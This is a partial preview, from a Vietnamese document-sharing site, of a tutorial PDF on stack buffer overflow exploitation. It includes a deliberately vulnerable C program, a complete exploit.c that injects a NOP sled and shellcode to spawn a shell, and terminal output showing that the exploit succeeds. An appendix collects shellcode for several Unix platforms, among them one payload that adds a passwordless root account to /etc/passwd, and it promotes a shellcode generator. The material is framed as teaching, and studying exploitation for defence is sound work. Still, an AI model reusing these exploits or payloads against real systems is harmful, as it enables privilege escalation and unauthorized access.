Tìm hiểu đầy đủ về tràn bộ đệm

Tràn bộ đệm là một trong những lỗ hỏng bảo mật lớn nhất hiện nay. Vậy

tràn bộ đệm là gì? Làm thế nào để thi hành các mã lệnh nguy hiểm qua

tràn bộ đệm.?

***Lưu ý*** một ít kiến thức về Assembly, C, GDB và Linux là điều cần

thiết đối với bạn!

pdf27 trang | Chuyên mục: Windows | Chia sẻ: dkS00TYs | Lượt xem: 1716 | Lượt tải: 3download
Tóm tắt nội dung Tìm hiểu đầy đủ về tràn bộ đệm, để xem tài liệu hoàn chỉnh bạn click vào nút "TẢI VỀ" ở trên
a buffer lại chính là 
shellcode(do ta đã copy large_string vào buffer bằng hàm strcpy), nên 
shellcode sẽ được thi hành, nó sẽ đổ ra một shell lệnh. 
Ví dụ 2: 
Để viết tràn bộ đệm, bạn phải biến địa chỉ của buffer trên stack. Thật may 
cho chúng ta là hầu như tất cả các chương trình đều có cùng địa chỉ bắt 
đầu stack. Chúng ta có thể lấy được địa chỉ bắt đầu của stack qua chương 
trình sau: 
sp.c 
-----------------------------------------------------------
------------------- 
unsigned long get_sp(void) { 
 __asm__("movl %esp,%eax"); 
} 
void main() { 
 printf("0x%x\n", get_sp()); 
} 
-----------------------------------------------------------
------------------- 
[đt@localhost ~/vicki]$ cc -o sp sp.c 
[đt@localhost ~/vicki]$ ./sp 
0xbffffb07 
[đt@localhost ~/vicki]$ 
Giả sử chương trình mà chúng ta cố làm tràn bộ đệm như sau: 
vulnerable.c 
---------------------------------------------- 
int main(int argc, char *argv[]) 
{ 
 char buffer[500]; 
 if(argc>=2) strcpy(buffer, argv[1]); 
 return 0; 
} 
---------------------------------------------- 
Đây là chương trình exploit.c. exploit sẽ làm tràn bộ đệm của vulnerable 
và buộc vulnerable đổ một shell lệnh cho chúng ta. 
exploit.c 
-----------------------------------------------------------
------------------- 
#include 
#define BUFFERSIZE 600 
#define OFFSET 0 
#define NOP 0x90 
char shellcode[] = 
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x
b0\x0b" 
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x
40\xcd" 
 "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 
unsigned long get_esp(void) 
{ 
 __asm__("movl %esp, %eax"); 
} 
int main(int argc, char *argv[]) 
{ 
 int i, offset=OFFSET, bsize=BUFFERSIZE; 
 long esp, ret, *addr_ptr; 
 char *buffer, *ptr, *osptr; 
 if (argc>1) bsize=atoi(argv[1]); 
 if (argc>2) offset=atoi(argv[2]); 
 esp=get_esp(); 
 ret=esp-offset; 
 printf("Stack pointer: 0x%x\n",esp); 
 printf("Offset : 0x%x\n",offset); 
 printf("Return addr : 0x%x\n",ret); 
 if (!(buffer=malloc(bsize))) 
 { 
 printf("Khong the cap phat bo nho.\n"); 
 exit(-1); 
 } 
 ptr=buffer; 
 addr_ptr=(long *)ptr; 
 for (i=0;i<bsize;i+=4) 
 *(addr_ptr++)=ret; 
 for (i=0;i<bsize/2;i++) 
 buffer[i]=NOP; 
 ptr=buffer+((bsize/2)-(strlen(shellcode)/2)); 
 for (i=0;i<strlen(shellcode);i++) 
 *(ptr++)=shellcode[i]; 
 buffer[bsize-1]=0; 
 execl("./vulnerable","vulnerable",buffer,0); 
} 
-----------------------------------------------------------
------------------- 
[đt@localhost ~/vicki]$ cc -o vulnerable vulnerable.c 
[đt@localhost ~/vicki]$ cc -o exploit exploit.c 
[đt@localhost ~/vicki]$ ./exploit 
Stack pointer: 0xbffffaf8 
Offset : 0x0 
Return addr : 0xbffffaf8 
sh-2.04$ 
Giải thích: 
Trước hết, chúng ta cần xác định địa chỉ trở về khi tràn bộ đệm. 
esp=get_esp(); 
ret=esp-offset; 
Địa chỉ trở về khi tràn bộ đệm = ESP(địa chỉ bắt đầu của stack) - OFFSET 
. Tại sao phải trừ cho offset? Bởi vì chúng ta có gọi hàm 
execl("./vulnerable","vulnerable",buffer,0); sau cùng, nên ESP lúc này sẽ 
bị trừ đi một số bytes do chương trình exploit có sử dụng một số bytes trên 
stack cho các tham số và biến cục bộ của hàm.Điều này sẽ tăng khả năng 
địa chỉ trở về trỏ đến một nơi nào đó trong buffer[] của vulnerable, nơi mà 
chúng ta sẽ đặt NOPs và shellcode. 
Quan sát stack: 
+---------------+ 
| argv[] & argc | 
| của exploit | 
+---------------+ 
| return addr 1 | 
+---------------+ 
| ebp 1 | 
+---------------+ 
| | 
| các biến cục | 
| bộ của exploit| 
| | 
+---------------+ 
| argv[] & argc | 
| của exploit | 
+---------------+ 
| return addr 2 | ----\ 
+---------------+ | 
| ebp 2 | | 
+---------------+ | 
| | | 
| buffer[] của | | 
| vulnerable | <---/ 
| | 
+---------------+ 
Chúng ta cần làm tràn buffer[] của vulnerable để return addr 2 trỏ đến đâu 
đó trong buffer[]. Cũng như ví dụ 1- overflow.c(bạn hãy xem lại thật kĩ ví 
dụ 1), chúng ta sẽ tạo một vùng nhớ trên heap: 
if (!(buffer=malloc(bsize))) 
 { 
 printf("Khong the cap phat bo nho.\n"); 
 exit(-1); 
 } 
Bây giờ lắp đầy buffer bằng địa chỉ trở về mà chúng ta đã tính được: 
 ptr=buffer; 
 addr_ptr=(long *)ptr; 
 for (i=0;i<bsize;i+=4) 
 *(addr_ptr++)=ret; 
Tiếp theo chúng ta sẽ lắp đầy 1/2 buffer bằng NOPs 
 for (i=0;i<bsize/2;i++) 
 buffer[i]=NOP; 
Sau đó, chúng ta đặt shellcode vào giữa NOPs 
 ptr=buffer+((bsize/2)-(strlen(shellcode)/2)); 
 for (i=0;i<strlen(shellcode);i++) 
 *(ptr++)=shellcode[i]; 
Cuối cùng đặt '\0' vào buffer để hàm strcpy() trong vulnerable biết đã hết 
data cần copy. 
buffer[bsize-1]=0; 
Tiến hành làm tràn bộ đệm của vulnerable, bạn sẽ có được shell lệnh do 
vulnerable spawn. 
execl("./vulnerable","vulnerable",buffer,0); 
Quan sát stack, buffer[] của vulnerable và return addr 2 sau khi tràn bộ 
đệm sẽ có dạng như sau: 
+------------+ 
|return addr2| -----\ 
+------------+ | 
| ebp 2 | | 
+------------+ | 
| ... | | 
| nop | | 
| ... | | 
| shellcode | | 
| ... | | 
| nop | | 
| nop | <----/ 
| nop | 
| ... | 
+------------+ 
Chúng ta hi vọng rằng return addr 2 sẽ trỏ đến 1 nop trước shellcode. Các 
câu lệnh NOPs sẽ không làm gì hết, đến khi gặp shellcode, shellcode sẽ đổ 
shell lệnh cho chúng ta(bạn hãy xem lại phần "Hình dung cách đặt 
shellcode trên stack). 
Phụ lục 
Các loại shellcode 
BSDi 
char code[] = 
 "\xeb\x57\x5e\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e" 
 "\x26\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8\x31" 
 "\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2\x31\xc0\x88" 
 "\x46\x0b\x89\xf3\x83\xc0\x05\x31\xc9\x83\xc1\x01\x31" 
 "\xd2\xcd\x80\x89\xc3\x31\xc0\x83\xc0\x04\x31\xd2\x88" 
 "\x56\x27\x89\xf1\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31" 
 "\xc0\x83\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80" 
 "BIN/SH"; 
FreeBSD 
char code[]= 
"\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x
76" 
"\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x
1b" 
"\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\x
ff" 
"\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\x
ff" 
"\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x
02" 
"\x02\x02\x02/bin/sh.-c.sh"; 
Replace .sh with .anycommand 
Linux x86 
char shellcode[] = 
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\
xb0\x0b" 
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\
x40\xcd" 
 "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 
OpenBSD 
 OpenBSD shellcode that adds an unpassworded root login 
 "w00w00" to /etc/passwd... Courtesy of w00w00. 
 (Changed from /tmp/passwd to /etc/passwd... give kiddies 
a chance ;) 
char shell[]= 
"\xeb\x2b\x5e\x31\xc0\x88\x46\x0b" 
"\x88\x46\x29\x50\xb0\x09\x50\x31" 
"\xc0\x56\x50\xb0\x05\xcd\x80\x89" 
"\xc3\x6a\x1d\x8d\x46\x0c\x50\x53" 
"\x50\x31\xc0\xb0\x04\xcd\x80\x31" 
"\xc0\xb0\x01\xcd\x80\xe8\xd0\xff" 
"\xff\xff\x2f\x65\x74\x63\x2f\x70" 
"\x61\x73\x73\x77\x64\x30\x77\x30" 
"\x30\x77\x30\x30\x3a\x3a\x30\x3a" 
"\x30\x3a\x77\x30\x30\x77\x30\x30" 
"\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f" 
"\x73\x68\x0a\x30\xff\xff\xff\xff" 
"\xff\xff\xff\xff\xff\xff\xff\xff" 
"\xff\xff\xff\xff\xff\xff\xff\xff"; 
Solaris / Sparc 
char c0de[] = 
 /* setreuid() */ 
"\x82\x10\x20\xca" /* mov 0xca, 
%g1 */ 
"\x92\x1a\x40\x09" /* xor %o1, 
%o1, %o1 */ 
"\x90\x0a\x40\x09" /* and %o1, 
%o1, %o0 */ 
"\x91\xd0\x20\x08" /* ta 8 
*/ 
"\x2d\x0b\xd8\x9a" /* sethi 
$0xbd89a, %l6 */ 
"\xac\x15\xa1\x6e" /* or %l6, 
0x16e, %l6 */ 
"\x2f\x0b\xdc\xda" /* sethi 
$0xbdcda, %l7 */ 
"\x90\x0b\x80\x0e" /* and %sp, 
%sp, %o0 */ 
"\x92\x03\xa0\x08" /* add %sp, 8, 
%o1 */ 
"\x94\x1a\x80\x0a" /* xor %o2, 
%o2, %o2 */ 
"\x9c\x03\xa0\x10" /* add %sp, 
0x10, %sp */ 
"\xec\x3b\xbf\xf0" /* std %l6, 
[%sp - 0x10] */ 
"\xdc\x23\xbf\xf8" /* st %sp, 
[%sp - 0x08] */ 
"\xc0\x23\xbf\xfc" /* st %g0, 
[%sp - 0x04] */ 
"\x82\x10\x20\x3b" /* mov $0x3b, 
%g1 */ 
"\x91\xd0\x20\x08" /* ta 8 
Solaris / x86 
char c0de[] = 
"\xeb\x0a" /* jmp initcall 
*/ 
"\x9a\x01\x02\x03\x5c\x07\x04" /* lcall 
*/ 
"\xc3" /* ret 
*/ 
"\xeb\x05" /* jmp setuidcode 
*/ 
"\xe8\xf9\xff\xff\xff" /* call jmpz 
*/ 
"\x5e" /* popl %esi 
*/ 
"\x29\xc0" /* subl %eax, %eax 
*/ 
"\x88\x46\xf7" /* movb %al, 
0xfffffff7(%esi) */ 
"\x89\x46\xf2" /* movl %eax, 
0xfffffff2(%esi) */ 
"\x50" /* pushl %eax 
*/ 
"\xb0\x8d" /* movb $0x8d, %al 
*/ 
"\xe8\xe0\xff\xff\xff" /* call initlcall 
*/ 
"\x29\xc0" /* subl %eax, %eax 
*/ 
"\x50" /* pushl %eax 
*/ 
"\xb0\x17" /* movb $0x17, %al 
*/ 
"\xe8\xd6\xff\xff\xff" /* call initlcall 
*/ 
"\xeb\x1f" /* jmp callz 
*/ 
"\x5e" /* popl %esi 
*/ 
"\x8d\x1e" /* leal (%esi), %ebx 
*/ 
"\x89\x5e\x0b" /* movl %ebx, 
0x0b(%esi) */ 
"\x29\xc0" /* subl %eax, %eax 
*/ 
"\x88\x46\x19" /* movb %al, 
0x19(%esi) */ 
"\x89\x46\x14" /* movl %eax, 
0x14(%esi) */ 
"\x89\x46\x0f" /* movl %eax, 
0x0f(%esi) */ 
"\x89\x46\x07" /* movl %eax, 
0x07(%esi) */ 
"\xb0\x3b" /* movb $0x3b, %al 
*/ 
"\x8d\x4e\x0b" /* leal 0x0b(%esi), 
%ecx */ 
"\x51" /* pushl %ecx 
*/ 
"\x51" /* pushl %ecx 
*/ 
"\x53" /* pushl %ebx 
*/ 
"\x50" /* pushl %eax 
*/ 
"\xeb\x18" /* jmp lcall 
*/ 
"\xe8\xdc\xff\xff\xff" /* call start 
*/ 
"\x2f\x62\x69\x6e\x2f\x73\x68" /* /bin/sh 
*/ 
"\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03" 
"\x9a\x04\x04\x04\x04\x07\x04"; /* lcall 
*/ 
Công cụ tạo shellcode "Hellkit" 
Hellkit là một công cụ dùng tạo shellcode cho Linux rất dễ dùng. Hellkit 
rất đa năng, đặc biệt Hellkit còn cho phép tạo shellcode có kích thước lên 
đến 65535 bytes! 
Tài liệu tham khảo 
"Smashing The Stack For Fun And Profit"(phrack 49-14) - Aleph One 
"Advanced buffer overflow exploits" - Taeho Oh 
Do hiểu biết còn nhiều hạn chế nên bài viết này không tránh khỏi những 
thiếu xót, rất mong nhận được sự đóng góp, giúp đỡ của các bạn để bài 
viết được hoàn thiện hơn. Thanx, đt. Vicki's real fan! 
Back 
Nhóm Vicki -  

File đính kèm:

  • pdfTim_hieu_tran_bo_dem.pdf
Tài liệu liên quan